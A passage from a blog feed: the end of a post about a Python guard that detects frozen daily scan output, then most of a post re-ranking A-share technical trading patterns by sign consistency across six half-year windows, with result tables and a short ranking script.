&lt;pre class="highlight shell"&gt;&lt;code&gt;python tools/scanfresh/scan_freshness_guard.py selftest          &lt;span class="c"&gt;# 18/18 passed&lt;/span&gt;

python tools/scanfresh/scan_freshness_guard.py check &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--ledger&lt;/span&gt;  samples/real_frozen_history.jsonl &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--verify&lt;/span&gt;  samples/real_verify_frozen.jsonl &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--today&lt;/span&gt; 2026-10-12                                             &lt;span class="c"&gt;# exit 2, FROZEN&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;samples/&lt;/code&gt; ships the &lt;strong&gt;real&lt;/strong&gt; frozen ledgers (the 16-entry one with the trailing run of 10, and its verification ledger), so the &lt;code&gt;FROZEN&lt;/code&gt; verdict is reproducible on your machine without my data, plus a synthetic healthy ledger so the pass path is testable too.&lt;/p&gt;

&lt;p&gt;Code, samples, notes: &lt;strong&gt;&lt;a href="https://github.com/Felixwang007/awesome-content-tools/tree/main/tools/scanfresh" rel="noopener noreferrer"&gt;https://github.com/Felixwang007/awesome-content-tools/tree/main/tools/scanfresh&lt;/a&gt;&lt;/strong&gt; — MIT, take the 400 lines and skip the essay.&lt;/p&gt;

&lt;p&gt;One caveat I would rather state than have you discover: this detects frozen &lt;em&gt;output&lt;/em&gt;, not a broken &lt;em&gt;fetch&lt;/em&gt;. A source that returns different garbage every day passes all three checks. Freshness is necessary, not sufficient. The obvious next gap in mine is a China exchange holiday calendar — right now &lt;code&gt;panel_stale&lt;/code&gt; knows weekends but treats October's exchange holidays as ordinary business days, which is exactly how a 15-day gap reads as ordinary Monday drift.&lt;/p&gt;

&lt;p&gt;If you build analysis agents you actually run daily — screening, scheduled scans, anything that appends a snapshot and exits 0 — the same guard is packaged as a skill on 虾评 (&lt;a href="https://xiaping.coze.com" rel="noopener noreferrer"&gt;xiaping.coze.com&lt;/a&gt;) next to the A-share three-pillar screener, and the raw script is in the repo above.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;All numbers here are from a single &lt;code&gt;check&lt;/code&gt; run against the real ledger and panel on 2026-10-19; the ledger, verification log and panel are a private workspace, but the guard and the exact frozen ledgers it trips on are public in &lt;code&gt;samples/&lt;/code&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>python</category>
      <category>opensource</category>
      <category>stocks</category>
    </item>
    <item>
      <title>I Split My A-Share Signal Study Into 6 Time Halves. The Top-Return Pattern Held in 4 of Them - a "Stay Out" Signal Went 6 for 6</title>
      <dc:creator>Felixwang007</dc:creator>
      <pubDate>Thu, 15 Oct 2026 11:20:02 +0000</pubDate>
      <link>https://dev.to/felixwang007/i-split-my-a-share-signal-study-into-6-time-halves-the-top-return-pattern-held-in-4-of-them-a-2o02</link>
      <guid>https://dev.to/felixwang007/i-split-my-a-share-signal-study-into-6-time-halves-the-top-return-pattern-held-in-4-of-them-a-2o02</guid>
      <description>&lt;p&gt;Three numbers first:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;+0.90pp&lt;/strong&gt; - the average 5-day excess return of the pattern that ranks first if you average all six half-years together.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;4/6&lt;/strong&gt; - the number of those halves where that sign actually held.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;6/6&lt;/strong&gt; - the number of halves where the sign held for the pattern I now rank first. It has never once said "buy".&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Same panel, same labels, same arithmetic. The only thing I changed is that I stopped reporting a single average over a 32-month window and started reporting the six halves separately. That one change reordered my entire signal list.&lt;/p&gt;

&lt;h2&gt;
  
  
  The panel and the labels
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;panel     3,147 A-share names, one JSON per name, 641 daily bars each
window    2024-02-02 -&amp;gt; 2026-09-28 (uniform by construction: a name with fewer
          than 30 bars, or a start date later than 2023-12-01, is dropped)
rows      1,853,978 labelled stock-days
          (forward return = closes[i+5]/closes[i] - 1)
labels    873,278 of those rows carry one of six patterns
          (build_dataset_v3.compute_tech); the rest are unlabelled
halves    2024H1 ... 2026H2 - six buckets
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two definitions, so the tables below cannot be misread:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;mean&lt;/strong&gt; - average 5-day forward return of every row carrying that label inside that half.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;excess&lt;/strong&gt; - that mean minus the average forward return of &lt;em&gt;all&lt;/em&gt; labelled rows inside the &lt;em&gt;same&lt;/em&gt; half.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Excess is what I rank on now, and the subtraction is the whole point.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why the same-half baseline has to come out
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;half&lt;/th&gt;
&lt;th&gt;baseline (all labelled rows, %)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2024H1&lt;/td&gt;
&lt;td&gt;-0.54&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2024H2&lt;/td&gt;
&lt;td&gt;+0.91&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025H1&lt;/td&gt;
&lt;td&gt;+0.79&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025H2&lt;/td&gt;
&lt;td&gt;+0.81&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026H1&lt;/td&gt;
&lt;td&gt;-0.21&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026H2&lt;/td&gt;
&lt;td&gt;+0.30&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;First halves average &lt;strong&gt;+0.01pp&lt;/strong&gt;. Second halves average &lt;strong&gt;+0.67pp&lt;/strong&gt;. The gap is &lt;strong&gt;+0.66pp&lt;/strong&gt; - and a pattern that happened to fire mostly in second halves collects that gap for free before it does anything. That is not edge, it is calendar. Subtract the same-half baseline and the free money evaporates.&lt;/p&gt;

&lt;h2&gt;
  
  
  The six halves, excess in percentage points
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;half&lt;/th&gt;
&lt;th&gt;baseline&lt;/th&gt;
&lt;th&gt;oversold bounce&lt;/th&gt;
&lt;th&gt;pullback, shrinking volume&lt;/th&gt;
&lt;th&gt;range-bound&lt;/th&gt;
&lt;th&gt;uptrend&lt;/th&gt;
&lt;th&gt;volume breakout&lt;/th&gt;
&lt;th&gt;high-level volume dump&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2024H1&lt;/td&gt;
&lt;td&gt;-0.54&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;+1.44&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;+0.30&lt;/td&gt;
&lt;td&gt;-0.42&lt;/td&gt;
&lt;td&gt;-0.01&lt;/td&gt;
&lt;td&gt;-0.88&lt;/td&gt;
&lt;td&gt;-1.59&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2024H2&lt;/td&gt;
&lt;td&gt;+0.91&lt;/td&gt;
&lt;td&gt;+0.15&lt;/td&gt;
&lt;td&gt;-0.12&lt;/td&gt;
&lt;td&gt;-0.02&lt;/td&gt;
&lt;td&gt;-0.14&lt;/td&gt;
&lt;td&gt;-1.67&lt;/td&gt;
&lt;td&gt;-2.29&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025H1&lt;/td&gt;
&lt;td&gt;+0.79&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;+2.00&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;-0.09&lt;/td&gt;
&lt;td&gt;-0.19&lt;/td&gt;
&lt;td&gt;-0.35&lt;/td&gt;
&lt;td&gt;-0.76&lt;/td&gt;
&lt;td&gt;-2.01&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025H2&lt;/td&gt;
&lt;td&gt;+0.81&lt;/td&gt;
&lt;td&gt;-0.33&lt;/td&gt;
&lt;td&gt;-0.11&lt;/td&gt;
&lt;td&gt;+0.03&lt;/td&gt;
&lt;td&gt;-0.16&lt;/td&gt;
&lt;td&gt;-0.25&lt;/td&gt;
&lt;td&gt;-1.33&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026H1&lt;/td&gt;
&lt;td&gt;-0.21&lt;/td&gt;
&lt;td&gt;-0.06&lt;/td&gt;
&lt;td&gt;+0.27&lt;/td&gt;
&lt;td&gt;-0.17&lt;/td&gt;
&lt;td&gt;+0.50&lt;/td&gt;
&lt;td&gt;+0.07&lt;/td&gt;
&lt;td&gt;-0.35&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026H2&lt;/td&gt;
&lt;td&gt;+0.30&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;+2.22&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;-0.09&lt;/td&gt;
&lt;td&gt;+0.18&lt;/td&gt;
&lt;td&gt;-0.73&lt;/td&gt;
&lt;td&gt;-1.52&lt;/td&gt;
&lt;td&gt;-2.28&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Now rank them by how often the sign holds, instead of by magnitude:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;pattern&lt;/th&gt;
&lt;th&gt;avg excess (pp)&lt;/th&gt;
&lt;th&gt;positive halves&lt;/th&gt;
&lt;th&gt;spread (pp)&lt;/th&gt;
&lt;th&gt;std across halves&lt;/th&gt;
&lt;th&gt;rows&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;high-level volume dump&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;-1.64&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;0/6&lt;/td&gt;
&lt;td&gt;1.94&lt;/td&gt;
&lt;td&gt;0.67&lt;/td&gt;
&lt;td&gt;7,052&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;volume breakout&lt;/td&gt;
&lt;td&gt;-0.83&lt;/td&gt;
&lt;td&gt;1/6&lt;/td&gt;
&lt;td&gt;1.74&lt;/td&gt;
&lt;td&gt;0.62&lt;/td&gt;
&lt;td&gt;59,090&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;uptrend&lt;/td&gt;
&lt;td&gt;-0.15&lt;/td&gt;
&lt;td&gt;1/6&lt;/td&gt;
&lt;td&gt;1.23&lt;/td&gt;
&lt;td&gt;0.37&lt;/td&gt;
&lt;td&gt;396,937&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;range-bound&lt;/td&gt;
&lt;td&gt;-0.10&lt;/td&gt;
&lt;td&gt;2/6&lt;/td&gt;
&lt;td&gt;0.60&lt;/td&gt;
&lt;td&gt;0.19&lt;/td&gt;
&lt;td&gt;176,565&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;oversold bounce&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;+0.90&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;4/6&lt;/td&gt;
&lt;td&gt;2.55&lt;/td&gt;
&lt;td&gt;1.02&lt;/td&gt;
&lt;td&gt;5,897&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;pullback, shrinking volume&lt;/td&gt;
&lt;td&gt;+0.03&lt;/td&gt;
&lt;td&gt;2/6&lt;/td&gt;
&lt;td&gt;0.42&lt;/td&gt;
&lt;td&gt;0.18&lt;/td&gt;
&lt;td&gt;227,737&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Four things fall out of that table.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. The only perfect 6/6 record belongs to the signal that says stay out
&lt;/h3&gt;

&lt;p&gt;A high-level, high-volume down day is negative in &lt;strong&gt;every one&lt;/strong&gt; of the six halves: average excess &lt;strong&gt;-1.64pp&lt;/strong&gt;, worst -2.29, best -0.35, and its win rate sits in a 37-44% band in all six. It is the only label where I cannot find a half that contradicts it. Note what kind of signal it is: a &lt;em&gt;don't add here / trim into strength&lt;/em&gt; signal, not a money printer.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. The trade retail loves most is negative in 5 of 6 halves
&lt;/h3&gt;

&lt;p&gt;A breakout on 1.5x volume: average excess &lt;strong&gt;-0.83pp&lt;/strong&gt;, worst half &lt;strong&gt;-1.67pp&lt;/strong&gt;, win rate range 35.4-44.6%. The single positive half (+0.07 in 2026H1) is smaller than the noise floor of every other half. "Buy strength with volume" is a fine slogan; on this panel it is a coin flip with a fee attached.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. The best average came from the least stable pattern
&lt;/h3&gt;

&lt;p&gt;Oversold bounce tops the average list at &lt;strong&gt;+0.90pp&lt;/strong&gt; and is positive in 4 of 6 halves. It also has the widest spread of anything here (&lt;strong&gt;2.55pp&lt;/strong&gt;), the largest across-half standard deviation (&lt;strong&gt;1.02&lt;/strong&gt;), and a firing count that swings &lt;strong&gt;6.8x&lt;/strong&gt; between halves - from 1,644 rows in 2025H1 to &lt;strong&gt;241 rows in 2025H2&lt;/strong&gt;, which is also the half where its excess went to -0.33. In other words: the headline number is the mean of a handful of small, regime-dependent samples. That is the exact configuration that produces "my backtest says +1.5% per 5 days" and then refuses to repeat.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Three labels are just the market
&lt;/h3&gt;

&lt;p&gt;Pullback on shrinking volume (&lt;strong&gt;+0.03pp&lt;/strong&gt;), range-bound (&lt;strong&gt;-0.10&lt;/strong&gt;), uptrend (&lt;strong&gt;-0.15&lt;/strong&gt;), with spreads under 1.25pp. Nothing there in either direction - they are the null hypothesis wearing a label.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I changed in the screener
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Rank on sign consistency first, magnitude second.&lt;/strong&gt; A pattern that is wrong in a third of the halves it was chosen over is not a signal, it is a sample.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Trust the avoid side, discount the buy side.&lt;/strong&gt; The two most sign-stable labels are both negative-expectancy ones. That asymmetry has been the most durable thing in this panel across three years of window.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Print the per-half firing count next to the average.&lt;/strong&gt; A frequency that moves 6.8x is measuring the regime, not the setup.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Size by regime, not by conviction.&lt;/strong&gt; If the same rule earns +2.0pp in one half and -0.3pp in another, position size has to be a function of which half you think you are in, and the honest answer is often "smaller".&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Reproduce the ranking
&lt;/h2&gt;

&lt;p&gt;The whole ranking is ~25 lines once the per-half table exists. This is the actual script that produced the tables above:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;statistics&lt;/span&gt;

&lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;alpha_by_half.json&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;encoding&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;utf-8&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="n"&gt;periods&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pats&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;periods&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;patterns&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;halves&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;periods&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;rows&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;per&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;pats&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;items&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;ex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;per&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;excess&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;halves&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;pattern&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;avg_excess&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;round&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;positive_halves&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ex&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;spread&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;round&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;max&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nf"&gt;min&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;std&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;round&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;statistics&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pstdev&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;rows&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;per&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;halves&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="p"&gt;})&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;sorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;lambda&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;positive_halves&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]):&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;pattern&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; avg=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;avg_excess&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;6.2&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
          &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;pos=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;positive_halves&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/6 spread=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;spread&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="mf"&gt;5.2&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
          &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;std=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;std&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="mf"&gt;5.2&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; n=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;rows&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you keep one habit from this post, make it this one: when a pattern only looks good as one averaged number, split the sample by time and re-rank by how many windows agree on the sign. It costs ten lines and it is the cheapest edge-destroying test I know.&lt;/p&gt;

&lt;h2&gt;
  
  
  Limitations, before you take any of this seriously
&lt;/h2&gt;

&lt;ul&gt;
